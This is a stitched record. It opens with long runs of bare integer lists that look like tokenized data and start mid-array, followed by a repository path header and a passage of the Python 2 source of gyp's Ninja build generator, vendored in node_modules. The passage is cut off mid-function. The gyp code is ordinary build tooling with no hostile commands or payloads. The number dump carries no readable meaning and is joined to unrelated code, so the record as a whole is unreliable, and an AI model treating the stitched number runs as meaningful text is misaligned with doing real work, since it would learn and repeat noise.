3149, 77, 3149, 68, 450, 40, 2689, 45, 2689, 51, 4111, 70, 297, 272, 327, 283, 1165, 15, 614, 15, 8664, 4114, 26, 1789, 26, 1276, 14, 25080, 297, 283, 1165, 15, 614, 15, 1643, 4114, 26, 1789, 26, 1276, 14, 25080, 297, 283, 8664, 15, 614, 15, 1165, 4114, 26, 1789, 26, 1276, 14, 25080, 7, 272 ]
[ 1882, 2644, 26, 2774, 13, 24, 1882, 199, 3, 961, 570, 365, 1854, 1334, 314, 2011, 4190, 465, 314, 5634, 2559, 14, 199, 3, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 3, 710, 20841, 4807, 3326, 675, 314, 5634, 1434, 1475, 6302, 12, 199, 3, 1937, 1455, 921, 4757, 14, 14013, 14, 957, 15, 287, 15, 2374, 15, 1121, 15, 5876, 15, 10372, 12645, 602, 199, 5390, 63, 4807, 275, 283, 74, 481, 1488, 7, 7861, 327, 283, 1165, 1335, 290, 85, 759, 8937, 7, 199, 4961, 63, 4807, 275, 283, 40, 26, 73, 7, 9326, 327, 283, 1046, 26, 1789, 7, 199, 12488, 63, 4807, 275, 283, 74, 481, 1488, 869, 26, 73, 7, 3698, 327, 283, 1165, 1335, 290, 85, 759, 8937, 4114, 26, 1789, 7, 199, 19216, 63, 16413, 63, 4807, 275, 283, 38, 1488, 7, 5185, 327, 283, 24418, 85, 759, 8937, 7, 199, 16413, 63, 11655, 63, 4807, 275, 283, 74, 481, 7, 4483, 327, 283, 1165, 1335, 290, 85, 759, 7, 199, 13003, 63, 5390, 63, 4807, 275, 283, 74, 13, 78, 13, 57, 7, 3777, 327, 283, 1165, 13, 17, 13, 8664, 7, 199, 13003, 63, 12488, 63, 4807, 275, 283, 74, 13, 78, 13, 57, 869, 26, 73, 7, 258, 327, 283, 1165, 13, 17, 13, 8664, 4114, 26, 1789, 7, 199, 12903, 63, 11655, 63, 3359, 63, 24929, 275, 413, 7861, 327, 32740, 334, 262, 577, 337, 335, 283, 391, 460, 643, 358, 199, 199, 3, 710, 20841, 7321, 63, 14019, 3326, 675, 314, 2018, 14053, 1475, 6302, 12, 199, 3, 1937, 1455, 921, 4757, 14, 1548, 14, 1308, 15, 4342, 15, 2083, 14, 1360, 3, 6205, 13, 9866, 13, 17537, 199, 5390, 63, 7321, 63, 14019, 275, 359, 272, 1543, 68, 3295, 77, 3295, 57, 297, 1543, 68, 3295, 77, 3295, 89, 297, 3777, 327, 283, 1165, 13, 614, 13, 8664, 297, 283, 1165, 13, 614, 13, 1643, 7, 272, 1543, 68, 3149, 77, 3149, 57, 297, 1543, 68, 3149, 77, 3149, 89, 297, 3777, 327, 283, 1165, 15, 614, 15, 8664, 297, 283, 1165, 15, 614, 15, 1643, 7, 272, 327, 1543, 68, 450, 66, 450, 57, 297, 1543, 68, 450, 66, 450, 89, 297, 3698, 327, 283, 1165, 1335, 290, 8937, 297, 283, 1165, 1335, 290, 21798, 7, 272, 327, 1543, 68, 450, 34, 450, 57, 297, 1543, 68, 450, 34, 450, 89, 297, 3698, 327, 283, 1165, 1335, 290, 85, 759, 8937, 297, 283, 1165, 1335, 290, 85, 759, 21798, 7, 199, 61, 199, 3, 25645, 541, 9055, 6752, 465, 1373, 365, 315, 1642, 3421, 199, 4961, 63, 7321, 63, 14019, 275, 359, 272, 1543, 40, 2689, 45, 2689, 51, 297, 12793, 327, 283, 1046, 26, 1789, 26, 1276, 7, 272, 1543, 40, 2689, 45, 2689, 51, 4111, 70, 297, 10473, 327, 283, 1046, 26, 1789, 26, 1276, 14, 25080, 7, 272, 1543, 40, 4111, 45, 2689, 51, 297, 12793, 327, 283, 1046, 14, 1789, 26, 1276, 7, 272, 1543, 40, 4111, 45, 2689, 51, 4111, 70, 297, 10473, 327, 283, 1046, 14, 1789, 26, 1276, 14, 25080, 7, 272, 1543, 40, 4111, 45, 297, 14960, 327, 283, 1046, 14, 1789, 7, 272, 1543, 40, 2689, 45, 297, 14960, 327, 283, 1046, 26, 1789, 7, 199, 61, 199, 12488, 63, 7321, 63, 14019, 275, 359, 272, 327, 8777, 900, 315, 450, 40, 2689, 45, 2689, 51, 520, 272, 1543, 68, 3295, 77, 3295, 57, 450, 40, 2689, 45, 2689, 51, 297, 1543, 68, 3295, 77, 3295, 89, 450, 40, 2689, 45, 2689, 51, 297, 1543, 57, 3295, 77, 3295, 68, 450, 40, 2689, 45, 2689, 51, 297, 272, 327, 283, 1165, 13, 614, 13, 8664, 4114, 26, 1789, 26, 1276, 297, 283, 1165, 13, 614, 13, 1643, 4114, 26, 1789, 26, 1276, 297, 283, 8664, 13, 614, 13, 1165, 4114, 26, 1789, 26, 1276, 7, 272, 1543, 68, 3149, 77, 3149, 57, 450, 40, 2689, 45, 2689, 51, 297, 1543, 68, 3149, 77, 3149, 89, 450, 40, 2689, 45, 2689, 51, 297, 1543, 57, 3149, 77, 3149, 68, 450, 40, 2689, 45, 2689, 51, 297, 272, 327, 283, 1165, 15, 614, 15, 8664, 4114, 26, 1789, 26, 1276, 297, 283, 1165, 15, 614, 15, 1643, 4114, 26, 1789, 26, 1276, 297, 283, 8664, 15, 614, 15, 1165, 4114, 26, 1789, 26, 1276, 7, 272, 327, 1543, 68, 450, 66, 450, 57, 450, 40, 2689, 45, 2689, 51, 297, 1543, 68, 450, 66, 450, 89, 450, 40, 2689, 45, 2689, 51, 297, 257, 327, 283, 1165, 1335, 290, 8937, 4114, 26, 1789, 26, 1276, 297, 283, 1165, 1335, 290, 21798, 4114, 26, 1789, 26, 1276, 7, 272, 327, 1543, 68, 450, 34, 450, 57, 450, 40, 2689, 45, 2689, 51, 297, 1543, 68, 450, 34, 450, 89, 450, 40, 2689, 45, 2689, 51, 297, 257, 327, 283, 1165, 1335, 290, 85, 759, 8937, 4114, 26, 1789, 26, 1276, 297, 283, 1165, 1335, 290, 85, 759, 8937, 4114, 26, 1789, 26, 1276, 7, 272, 327, 8777, 900, 315, 450, 40, 2689, 45, 2689, 51, 4111, 70, 520, 272, 1543, 68, 3295, 77, 3295, 57, 450, 40, 2689, 45, 2689, 51, 4111, 70, 297, 1543, 68, 3295, 77, 3295, 89, 450, 40, 2689, 45, 2689, 51, 4111, 70, 297, 1543, 57, 3295, 77, 3295, 68, 450, 40, 2689, 45, 2689, 51, 4111, 70, 297, 272, 327, 283, 1165, 13, 614, 13, 8664, 4114, 26, 1789, 26, 1276, 14, 25080, 297, 283, 1165, 13, 614, 13, 1643, 4114, 26, 1789, 26, 1276, 14, 25080, 297, 283, 8664, 13, 614, 13, 1165, 4114, 26, 1789, 26, 1276, 14, 25080, 7, 272, 1543, 68, 3149, 77, 3149, 57, 450, 40, 2689, 45, 2689, 51, 4111, 70, 297, 1543, 68, 3149, 77, 3149, 89, 450, 40, 2689, 45, 2689, 51, 4111, 70, 297, 1543, 57, 3149, 77, 3149, 68, 450, 40, 2689, 45, 2689, 51, 4111, 70, 297, 272, 327, 283, 1165, 15, 614, 15, 8664, 4114, 26, 1789, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
wengyian/project-manager-system
node_modules/.3.6.0@node-gyp/gyp/pylib/gyp/generator/ninja.py
1284
100329
# Copyright (c) 2013 Google Inc. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. import collections import copy import hashlib import json import multiprocessing import os.path import re import signal import subprocess import sys import gyp import gyp.common from gyp.common import OrderedSet import gyp.msvs_emulation import gyp.MSVSUtil as MSVSUtil import gyp.xcode_emulation from cStringIO import StringIO from gyp.common import GetEnvironFallback import gyp.ninja_syntax as ninja_syntax generator_default_variables = { 'EXECUTABLE_PREFIX': '', 'EXECUTABLE_SUFFIX': '', 'STATIC_LIB_PREFIX': 'lib', 'STATIC_LIB_SUFFIX': '.a', 'SHARED_LIB_PREFIX': 'lib', # Gyp expects the following variables to be expandable by the build # system to the appropriate locations. Ninja prefers paths to be # known at gyp time. To resolve this, introduce special # variables starting with $! and $| (which begin with a $ so gyp knows it # should be treated specially, but is otherwise an invalid # ninja/shell variable) that are passed to gyp here but expanded # before writing out into the target .ninja files; see # ExpandSpecial. # $! is used for variables that represent a path and that can only appear at # the start of a string, while $| is used for variables that can appear # anywhere in a string. 'INTERMEDIATE_DIR': '$!INTERMEDIATE_DIR', 'SHARED_INTERMEDIATE_DIR': '$!PRODUCT_DIR/gen', 'PRODUCT_DIR': '$!PRODUCT_DIR', 'CONFIGURATION_NAME': '$|CONFIGURATION_NAME', # Special variables that may be used by gyp 'rule' targets. # We generate definitions for these variables on the fly when processing a # rule. 'RULE_INPUT_ROOT': '${root}', 'RULE_INPUT_DIRNAME': '${dirname}', 'RULE_INPUT_PATH': '${source}', 'RULE_INPUT_EXT': '${ext}', 'RULE_INPUT_NAME': '${name}', } # Placates pylint. generator_additional_non_configuration_keys = [] generator_additional_path_sections = [] generator_extra_sources_for_rules = [] generator_filelist_paths = None generator_supports_multiple_toolsets = gyp.common.CrossCompileRequested() def StripPrefix(arg, prefix): if arg.startswith(prefix): return arg[len(prefix):] return arg def QuoteShellArgument(arg, flavor): """Quote a string such that it will be interpreted as a single argument by the shell.""" # Rather than attempting to enumerate the bad shell characters, just # whitelist common OK ones and quote anything else. if re.match(r'^[a-zA-Z0-9_=.\\/-]+$', arg): return arg # No quoting necessary. if flavor == 'win': return gyp.msvs_emulation.QuoteForRspFile(arg) return "'" + arg.replace("'", "'" + '"\'"' + "'") + "'" def Define(d, flavor): """Takes a preprocessor define and returns a -D parameter that's ninja- and shell-escaped.""" if flavor == 'win': # cl.exe replaces literal # characters with = in preprocesor definitions for # some reason. Octal-encode to work around that. d = d.replace('#', '\\%03o' % ord('#')) return QuoteShellArgument(ninja_syntax.escape('-D' + d), flavor) def AddArch(output, arch): """Adds an arch string to an output path.""" output, extension = os.path.splitext(output) return '%s.%s%s' % (output, arch, extension) class Target(object): """Target represents the paths used within a single gyp target. Conceptually, building a single target A is a series of steps: 1) actions/rules/copies generates source/resources/etc. 2) compiles generates .o files 3) link generates a binary (library/executable) 4) bundle merges the above in a mac bundle (Any of these steps can be optional.) From a build ordering perspective, a dependent target B could just depend on the last output of this series of steps. But some dependent commands sometimes need to reach inside the box. For example, when linking B it needs to get the path to the static library generated by A. This object stores those paths. To keep things simple, member variables only store concrete paths to single files, while methods compute derived values like "the last output of the target". """ def __init__(self, type): # Gyp type ("static_library", etc.) of this target. self.type = type # File representing whether any input dependencies necessary for # dependent actions have completed. self.preaction_stamp = None # File representing whether any input dependencies necessary for # dependent compiles have completed. self.precompile_stamp = None # File representing the completion of actions/rules/copies, if any. self.actions_stamp = None # Path to the output of the link step, if any. self.binary = None # Path to the file representing the completion of building the bundle, # if any. self.bundle = None # On Windows, incremental linking requires linking against all the .objs # that compose a .lib (rather than the .lib itself). That list is stored # here. In this case, we also need to save the compile_deps for the target, # so that the the target that directly depends on the .objs can also depend # on those. self.component_objs = None self.compile_deps = None # Windows only. The import .lib is the output of a build step, but # because dependents only link against the lib (not both the lib and the # dll) we keep track of the import library here. self.import_lib = None def Linkable(self): """Return true if this is a target that can be linked against.""" return self.type in ('static_library', 'shared_library') def UsesToc(self, flavor): """Return true if the target should produce a restat rule based on a TOC file.""" # For bundles, the .TOC should be produced for the binary, not for # FinalOutput(). But the naive approach would put the TOC file into the # bundle, so don't do this for bundles for now. if flavor == 'win' or self.bundle: return False return self.type in ('shared_library', 'loadable_module') def PreActionInput(self, flavor): """Return the path, if any, that should be used as a dependency of any dependent action step.""" if self.UsesToc(flavor): return self.FinalOutput() + '.TOC' return self.FinalOutput() or self.preaction_stamp def PreCompileInput(self): """Return the path, if any, that should be used as a dependency of any dependent compile step.""" return self.actions_stamp or self.precompile_stamp def FinalOutput(self): """Return the last output of the target, which depends on all prior steps.""" return self.bundle or self.binary or self.actions_stamp # A small discourse on paths as used within the Ninja build: # All files we produce (both at gyp and at build time) appear in the # build directory (e.g. out/Debug). # # Paths within a given .gyp file are always relative to the directory # containing the .gyp file. Call these "gyp paths". This includes # sources as well as the starting directory a given gyp rule/action # expects to be run from. We call the path from the source root to # the gyp file the "base directory" within the per-.gyp-file # NinjaWriter code. # # All paths as written into the .ninja files are relative to the build # directory. Call these paths "ninja paths". # # We translate between these two notions of paths with two helper # functions: # # - GypPathToNinja translates a gyp path (i.e. relative to the .gyp file) # into the equivalent ninja path. # # - GypPathToUniqueOutput translates a gyp path into a ninja path to write # an output file; the result can be namespaced such that it is unique # to the input file name as well as the output target name. class NinjaWriter(object): def __init__(self, hash_for_rules, target_outputs, base_dir, build_dir, output_file, toplevel_build, output_file_name, flavor, toplevel_dir=None): """ base_dir: path from source root to directory containing this gyp file, by gyp semantics, all input paths are relative to this build_dir: path from source root to build output toplevel_dir: path to the toplevel directory """ self.hash_for_rules = hash_for_rules self.target_outputs = target_outputs self.base_dir = base_dir self.build_dir = build_dir self.ninja = ninja_syntax.Writer(output_file) self.toplevel_build = toplevel_build self.output_file_name = output_file_name self.flavor = flavor self.abs_build_dir = None if toplevel_dir is not None: self.abs_build_dir = os.path.abspath(os.path.join(toplevel_dir, build_dir)) self.obj_ext = '.obj' if flavor == 'win' else '.o' if flavor == 'win': # See docstring of msvs_emulation.GenerateEnvironmentFiles(). self.win_env = {} for arch in ('x86', 'x64'): self.win_env[arch] = 'environment.' + arch # Relative path from build output dir to base dir. build_to_top = gyp.common.InvertRelativePath(build_dir, toplevel_dir) self.build_to_base = os.path.join(build_to_top, base_dir) # Relative path from base dir to build dir. base_to_top = gyp.common.InvertRelativePath(base_dir, toplevel_dir) self.base_to_build = os.path.join(base_to_top, build_dir) def ExpandSpecial(self, path, product_dir=None): """Expand specials like $!PRODUCT_DIR in |path|. If |product_dir| is None, assumes the cwd is already the product dir. Otherwise, |product_dir| is the relative path to the product dir. """ PRODUCT_DIR = '$!PRODUCT_DIR' if PRODUCT_DIR in path: if product_dir: path = path.replace(PRODUCT_DIR, product_dir) else: path = path.replace(PRODUCT_DIR + '/', '') path = path.replace(PRODUCT_DIR + '\\', '') path = path.replace(PRODUCT_DIR, '.') INTERMEDIATE_DIR = '$!INTERMEDIATE_DIR' if INTERMEDIATE_DIR in path: int_dir = self.GypPathToUniqueOutput('gen') # GypPathToUniqueOutput generates a path relative to the product dir, # so insert product_dir in front if it is provided. path = path.replace(INTERMEDIATE_DIR, os.path.join(product_dir or '', int_dir)) CONFIGURATION_NAME = '$|CONFIGURATION_NAME' path = path.replace(CONFIGURATION_NAME, self.config_name) return path def ExpandRuleVariables(self, path, root, dirname, source, ext, name): if self.flavor == 'win': path = self.msvs_settings.ConvertVSMacros( path, config=self.config_name) path = path.replace(generator_default_variables['RULE_INPUT_ROOT'], root) path = path.replace(generator_default_variables['RULE_INPUT_DIRNAME'], dirname) path = path.replace(generator_default_variables['RULE_INPUT_PATH'], source) path = path.replace(generator_default_variables['RULE_INPUT_EXT'], ext) path = path.replace(generator_default_variables['RULE_INPUT_NAME'], name) return path def GypPathToNinja(self, path, env=None): """Translate a gyp path to a ninja path, optionally expanding environment variable references in |path| with |env|. See the above discourse on path conversions.""" if env: if self.flavor == 'mac': path = gyp.xcode_emulation.ExpandEnvVars(path, env) elif self.flavor == 'win': path = gyp.msvs_emulation.ExpandMacros(path, env) if path.startswith('$!'): expanded = self.ExpandSpecial(path) if self.flavor == 'win': expanded = os.path.normpath(expanded) return expanded if '$|' in path: path = self.ExpandSpecial(path) assert '$' not in path, path return os.path.normpath(os.path.join(self.build_to_base, path)) def GypPathToUniqueOutput(self, path, qualified=True): """Translate a gyp path to a ninja path for writing output. If qualified is True, qualify the resulting filename with the name of the target. This is necessary when e.g. compiling the same path twice for two separate output targets. See the above discourse on path conversions.""" path = self.ExpandSpecial(path) assert not path.startswith('$'), path # Translate the path following this scheme: # Input: foo/bar.gyp, target targ, references baz/out.o # Output: obj/foo/baz/targ.out.o (if qualified) # obj/foo/baz/out.o (otherwise) # (and obj.host instead of obj for cross-compiles) # # Why this scheme and not some other one? # 1) for a given input, you can compute all derived outputs by matching # its path, even if the input is brought via a gyp file with '..'. # 2) simple files like libraries and stamps have a simple filename. obj = 'obj' if self.toolset != 'target': obj += '.' + self.toolset path_dir, path_basename = os.path.split(path) assert not os.path.isabs(path_dir), ( "'%s' can not be absolute path (see crbug.com/462153)." % path_dir) if qualified: path_basename = self.name + '.' + path_basename return os.path.normpath(os.path.join(obj, self.base_dir, path_dir, path_basename)) def WriteCollapsedDependencies(self, name, targets, order_only=None): """Given a list of targets, return a path for a single file representing the result of building all the targets or None. Uses a stamp file if necessary.""" assert targets == filter(None, targets), targets if len(targets) == 0: assert not order_only return None if len(targets) > 1 or order_only: stamp = self.GypPathToUniqueOutput(name + '.stamp') targets = self.ninja.build(stamp, 'stamp', targets, order_only=order_only) self.ninja.newline() return targets[0] def _SubninjaNameForArch(self, arch): output_file_base = os.path.splitext(self.output_file_name)[0] return '%s.%s.ninja' % (output_file_base, arch) def WriteSpec(self, spec, config_name, generator_flags): """The main entry point for NinjaWriter: write the build rules for a spec. Returns a Target object, which represents the output paths for this spec. Returns None if there are no outputs (e.g. a settings-only 'none' type target).""" self.config_name = config_name self.name = spec['target_name'] self.toolset = spec['toolset'] config = spec['configurations'][config_name] self.target = Target(spec['type']) self.is_standalone_static_library = bool( spec.get('standalone_static_library', 0)) # Track if this target contains any C++ files, to decide if gcc or g++ # should be used for linking. self.uses_cpp = False self.is_mac_bundle = gyp.xcode_emulation.IsMacBundle(self.flavor, spec) self.xcode_settings = self.msvs_settings = None if self.flavor == 'mac': self.xcode_settings = gyp.xcode_emulation.XcodeSettings(spec) if self.flavor == 'win': self.msvs_settings = gyp.msvs_emulation.MsvsSettings(spec, generator_flags) arch = self.msvs_settings.GetArch(config_name) self.ninja.variable('arch', self.win_env[arch]) self.ninja.variable('cc', '$cl_' + arch) self.ninja.variable('cxx', '$cl_' + arch) self.ninja.variable('cc_host', '$cl_' + arch) self.ninja.variable('cxx_host', '$cl_' + arch) self.ninja.variable('asm', '$ml_' + arch) if self.flavor == 'mac': self.archs = self.xcode_settings.GetActiveArchs(config_name) if len(self.archs) > 1: self.arch_subninjas = dict( (arch, ninja_syntax.Writer( OpenOutput(os.path.join(self.toplevel_build, self._SubninjaNameForArch(arch)), 'w'))) for arch in self.archs) # Compute predepends for all rules. # actions_depends is the dependencies this target depends on before running # any of its action/rule/copy steps. # compile_depends is the dependencies this target depends on before running # any of its compile steps. actions_depends = [] compile_depends = [] # TODO(evan): it is rather confusing which things are lists and which # are strings. Fix these. if 'dependencies' in spec: for dep in spec['dependencies']: if dep in self.target_outputs: target = self.target_outputs[dep] actions_depends.append(target.PreActionInput(self.flavor)) compile_depends.append(target.PreCompileInput()) actions_depends = filter(None, actions_depends) compile_depends = filter(None, compile_depends) actions_depends = self.WriteCollapsedDependencies('actions_depends', actions_depends) compile_depends = self.WriteCollapsedDependencies('compile_depends', compile_depends) self.target.preaction_stamp = actions_depends self.target.precompile_stamp = compile_depends # Write out actions, rules, and copies. These must happen before we # compile any sources, so compute a list of predependencies for sources # while we do it. extra_sources = [] mac_bundle_depends = [] self.target.actions_stamp = self.WriteActionsRulesCopies( spec, extra_sources, actions_depends, mac_bundle_depends) # If we have actions/rules/copies, we depend directly on those, but # otherwise we depend on dependent target's actions/rules/copies etc. # We never need to explicitly depend on previous target's link steps, # because no compile ever depends on them. compile_depends_stamp = (self.target.actions_stamp or compile_depends) # Write out the compilation steps, if any. link_deps = [] sources = extra_sources + spec.get('sources', []) if sources: if self.flavor == 'mac' and len(self.archs) > 1: # Write subninja file containing compile and link commands scoped to # a single arch if a fat binary is being built. for arch in self.archs: self.ninja.subninja(self._SubninjaNameForArch(arch)) pch = None if self.flavor == 'win': gyp.msvs_emulation.VerifyMissingSources( sources, self.abs_build_dir, generator_flags, self.GypPathToNinja) pch = gyp.msvs_emulation.PrecompiledHeader( self.msvs_settings, config_name, self.GypPathToNinja, self.GypPathToUniqueOutput, self.obj_ext) else: pch = gyp.xcode_emulation.MacPrefixHeader( self.xcode_settings, self.GypPathToNinja, lambda path, lang: self.GypPathToUniqueOutput(path + '-' + lang)) link_deps = self.WriteSources( self.ninja, config_name, config, sources, compile_depends_stamp, pch, spec) # Some actions/rules output 'sources' that are already object files. obj_outputs = [f for f in sources if f.endswith(self.obj_ext)] if obj_outputs: if self.flavor != 'mac' or len(self.archs) == 1: link_deps += [self.GypPathToNinja(o) for o in obj_outputs] else: print "Warning: Actions/rules writing object files don't work with " \ "multiarch targets, dropping. (target %s)" % spec['target_name'] elif self.flavor == 'mac' and len(self.archs) > 1: link_deps = collections.defaultdict(list) compile_deps = self.target.actions_stamp or actions_depends if self.flavor == 'win' and self.target.type == 'static_library': self.target.component_objs = link_deps self.target.compile_deps = compile_deps # Write out a link step, if needed. output = None is_empty_bundle = not link_deps and not mac_bundle_depends if link_deps or self.target.actions_stamp or actions_depends: output = self.WriteTarget(spec, config_name, config, link_deps, compile_deps) if self.is_mac_bundle: mac_bundle_depends.append(output) # Bundle all of the above together, if needed. if self.is_mac_bundle: output = self.WriteMacBundle(spec, mac_bundle_depends, is_empty_bundle) if not output: return None assert self.target.FinalOutput(), output return self.target def _WinIdlRule(self, source, prebuild, outputs): """Handle the implicit VS .idl rule for one source file. Fills |outputs| with files that are generated.""" outdir, output, vars, flags = self.msvs_settings.GetIdlBuildData( source, self.config_name) outdir = self.GypPathToNinja(outdir) def fix_path(path, rel=None): path = os.path.join(outdir, path) dirname, basename = os.path.split(source) root, ext = os.path.splitext(basename) path = self.ExpandRuleVariables( path, root, dirname, source, ext, basename) if rel: path = os.path.relpath(path, rel) return path vars = [(name, fix_path(value, outdir)) for name, value in vars] output = [fix_path(p) for p in output] vars.append(('outdir', outdir)) vars.append(('idlflags', flags)) input = self.GypPathToNinja(source) self.ninja.build(output, 'idl', input, variables=vars, order_only=prebuild) outputs.extend(output) def WriteWinIdlFiles(self, spec, prebuild): """Writes rules to match MSVS's implicit idl handling.""" assert self.flavor == 'win' if self.msvs_settings.HasExplicitIdlRulesOrActions(spec): return [] outputs = [] for source in filter(lambda x: x.endswith('.idl'), spec['sources']): self._WinIdlRule(source, prebuild, outputs) return outputs def WriteActionsRulesCopies(self, spec, extra_sources, prebuild, mac_bundle_depends): """Write out the Actions, Rules, and Copies steps. Return a path representing the outputs of these steps.""" outputs = [] if self.is_mac_bundle: mac_bundle_resources = spec.get('mac_bundle_resources', [])[:] else: mac_bundle_resources = [] extra_mac_bundle_resources = [] if 'actions' in spec: outputs += self.WriteActions(spec['actions'], extra_sources, prebuild, extra_mac_bundle_resources) if 'rules' in spec: outputs += self.WriteRules(spec['rules'], extra_sources, prebuild, mac_bundle_resources, extra_mac_bundle_resources) if 'copies' in spec: outputs += self.WriteCopies(spec['copies'], prebuild, mac_bundle_depends) if 'sources' in spec and self.flavor == 'win': outputs += self.WriteWinIdlFiles(spec, prebuild) stamp = self.WriteCollapsedDependencies('actions_rules_copies', outputs) if self.is_mac_bundle: xcassets = self.WriteMacBundleResources( extra_mac_bundle_resources + mac_bundle_resources, mac_bundle_depends) partial_info_plist = self.WriteMacXCassets(xcassets, mac_bundle_depends) self.WriteMacInfoPlist(partial_info_plist, mac_bundle_depends) return stamp def GenerateDescription(self, verb, message, fallback): """Generate and return a description of a build step. |verb| is the short summary, e.g. ACTION or RULE. |message| is a hand-written description, or None if not available. |fallback| is the gyp-level name of the step, usable as a fallback. """ if self.toolset != 'target': verb += '(%s)' % self.toolset if message: return '%s %s' % (verb, self.ExpandSpecial(message)) else: return '%s %s: %s' % (verb, self.name, fallback) def WriteActions(self, actions, extra_sources, prebuild, extra_mac_bundle_resources): # Actions cd into the base directory. env = self.GetToolchainEnv() all_outputs = [] for action in actions: # First write out a rule for the action. name = '%s_%s' % (action['action_name'], self.hash_for_rules) description = self.GenerateDescription('ACTION', action.get('message', None), name) is_cygwin = (self.msvs_settings.IsRuleRunUnderCygwin(action) if self.flavor == 'win' else False) args = action['action'] depfile = action.get('depfile', None) if depfile: depfile = self.ExpandSpecial(depfile, self.base_to_build) pool = 'console' if int(action.get('ninja_use_console', 0)) else None rule_name, _ = self.WriteNewNinjaRule(name, args, description, is_cygwin, env, pool, depfile=depfile) inputs = [self.GypPathToNinja(i, env) for i in action['inputs']] if int(action.get('process_outputs_as_sources', False)): extra_sources += action['outputs'] if int(action.get('process_outputs_as_mac_bundle_resources', False)): extra_mac_bundle_resources += action['outputs'] outputs = [self.GypPathToNinja(o, env) for o in action['outputs']] # Then write out an edge using the rule. self.ninja.build(outputs, rule_name, inputs, order_only=prebuild) all_outputs += outputs self.ninja.newline() return all_outputs def WriteRules(self, rules, extra_sources, prebuild, mac_bundle_resources, extra_mac_bundle_resources): env = self.GetToolchainEnv() all_outputs = [] for rule in rules: # Skip a rule with no action and no inputs. if 'action' not in rule and not rule.get('rule_sources', []): continue # First write out a rule for the rule action. name = '%s_%s' % (rule['rule_name'], self.hash_for_rules) args = rule['action'] description = self.GenerateDescription( 'RULE', rule.get('message', None), ('%s ' + generator_default_variables['RULE_INPUT_PATH']) % name) is_cygwin = (self.msvs_settings.IsRuleRunUnderCygwin(rule) if self.flavor == 'win' else False) pool = 'console' if int(rule.get('ninja_use_console', 0)) else None rule_name, args = self.WriteNewNinjaRule( name, args, description, is_cygwin, env, pool) # TODO: if the command references the outputs directly, we should # simplify it to just use $out. # Rules can potentially make use of some special variables which # must vary per source file. # Compute the list of variables we'll need to provide. special_locals = ('source', 'root', 'dirname', 'ext', 'name') needed_variables = set(['source']) for argument in args: for var in special_locals: if '${%s}' % var in argument: needed_variables.add(var) def cygwin_munge(path): # pylint: disable=cell-var-from-loop if is_cygwin: return path.replace('\\', '/') return path inputs = [self.GypPathToNinja(i, env) for i in rule.get('inputs', [])] # If there are n source files matching the rule, and m additional rule # inputs, then adding 'inputs' to each build edge written below will # write m * n inputs. Collapsing reduces this to m + n. sources = rule.get('rule_sources', []) num_inputs = len(inputs) if prebuild: num_inputs += 1 if num_inputs > 2 and len(sources) > 2: inputs = [self.WriteCollapsedDependencies( rule['rule_name'], inputs, order_only=prebuild)] prebuild = [] # For each source file, write an edge that generates all the outputs. for source in sources: source = os.path.normpath(source) dirname, basename = os.path.split(source) root, ext = os.path.splitext(basename) # Gather the list of inputs and outputs, expanding $vars if possible. outputs = [self.ExpandRuleVariables(o, root, dirname, source, ext, basename) for o in rule['outputs']] if int(rule.get('process_outputs_as_sources', False)): extra_sources += outputs was_mac_bundle_resource = source in mac_bundle_resources if was_mac_bundle_resource or \ int(rule.get('process_outputs_as_mac_bundle_resources', False)): extra_mac_bundle_resources += outputs # Note: This is n_resources * n_outputs_in_rule. Put to-be-removed # items in a set and remove them all in a single pass if this becomes # a performance issue. if was_mac_bundle_resource: mac_bundle_resources.remove(source) extra_bindings = [] for var in needed_variables: if var == 'root': extra_bindings.append(('root', cygwin_munge(root))) elif var == 'dirname': # '$dirname' is a parameter to the rule action, which means # it shouldn't be converted to a Ninja path. But we don't # want $!PRODUCT_DIR in there either. dirname_expanded = self.ExpandSpecial(dirname, self.base_to_build) extra_bindings.append(('dirname', cygwin_munge(dirname_expanded))) elif var == 'source': # '$source' is a parameter to the rule action, which means # it shouldn't be converted to a Ninja path. But we don't # want $!PRODUCT_DIR in there either. source_expanded = self.ExpandSpecial(source, self.base_to_build) extra_bindings.append(('source', cygwin_munge(source_expanded))) elif var == 'ext': extra_bindings.append(('ext', ext)) elif var == 'name': extra_bindings.append(('name', cygwin_munge(basename))) else: assert var == None, repr(var) outputs = [self.GypPathToNinja(o, env) for o in outputs] if self.flavor == 'win': # WriteNewNinjaRule uses unique_name for creating an rsp file on win. extra_bindings.append(('unique_name', hashlib.md5(outputs[0]).hexdigest())) self.ninja.build(outputs, rule_name, self.GypPathToNinja(source), implicit=inputs, order_only=prebuild, variables=extra_bindings) all_outputs.extend(outputs) return all_outputs def WriteCopies(self, copies, prebuild, mac_bundle_depends): outputs = [] env = self.GetToolchainEnv() for copy in copies: for path in copy['files']: # Normalize the path so trailing slashes don't confuse us. path = os.path.normpath(path) basename = os.path.split(path)[1] src = self.GypPathToNinja(path, env) dst = self.GypPathToNinja(os.path.join(copy['destination'], basename), env) outputs += self.ninja.build(dst, 'copy', src, order_only=prebuild) if self.is_mac_bundle: # gyp has mac_bundle_resources to copy things into a bundle's # Resources folder, but there's no built-in way to copy files to other # places in the bundle. Hence, some targets use copies for this. Check # if this file is copied into the current bundle, and if so add it to # the bundle depends so that dependent targets get rebuilt if the copy # input changes. if dst.startswith(self.xcode_settings.GetBundleContentsFolderPath()): mac_bundle_depends.append(dst) return outputs def WriteMacBundleResources(self, resources, bundle_depends): """Writes ninja edges for 'mac_bundle_resources'.""" xcassets = [] for output, res in gyp.xcode_emulation.GetMacBundleResources( generator_default_variables['PRODUCT_DIR'], self.xcode_settings, map(self.GypPathToNinja, resources)): output = self.ExpandSpecial(output) if os.path.splitext(output)[-1] != '.xcassets': isBinary = self.xcode_settings.IsBinaryOutputFormat(self.config_name) self.ninja.build(output, 'mac_tool', res, variables=[('mactool_cmd', 'copy-bundle-resource'), \ ('binary', isBinary)]) bundle_depends.append(output) else: xcassets.append(res) return xcassets def WriteMacXCassets(self, xcassets, bundle_depends): """Writes ninja edges for 'mac_bundle_resources' .xcassets files. This add an invocation of 'actool' via the 'mac_tool.py' helper script. It assumes that the assets catalogs define at least one imageset and thus an Assets.car file will be generated in the application resources directory. If this is not the case, then the build will probably be done at each invocation of ninja.""" if not xcassets: return extra_arguments = {} settings_to_arg = { 'XCASSETS_APP_ICON': 'app-icon', 